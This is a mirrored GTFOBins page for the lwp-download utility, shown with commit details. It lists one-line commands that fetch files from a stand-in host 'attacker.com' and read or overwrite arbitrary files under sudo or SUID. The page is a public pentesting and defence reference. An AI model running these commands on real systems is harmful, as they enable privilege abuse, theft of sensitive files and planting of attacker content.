public-mirrors/GTFOBins.github.io
1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io synced 2024-12-25 14:30:07 +01:00
Code Issues Projects Releases Wiki Activity
494ea89794
GTFOBins.github.io/_gtfobins/lwp-download.md
LinuxSploit 4469fdc662
Add lwp-download file-read/write
2021-04-13 08:59:10 +02:00

790 B
Raw Blame History

description functions
Fetch a remote file via HTTP GET request.
file-download suid sudo file-read file-write
code
URL=http://attacker.com/file_to_get LFILE=file_to_save lwp-download $URL $LFILE
code
URL=http://attacker.com/file_to_get LFILE=file_to_save ./lwp-download $URL $LFILE
code
URL=http://attacker.com/file_to_get LFILE=file_to_save sudo lwp-download $URL $LFILE
description code
The file path must be absolute. LFILE=file_to_read TF=$(mktemp) lwp-download "file://$LFILE" $TF cat $TF
code
LFILE=file_to_write TF=$(mktemp) echo DATA >$TF lwp-download file://$TF $LFILE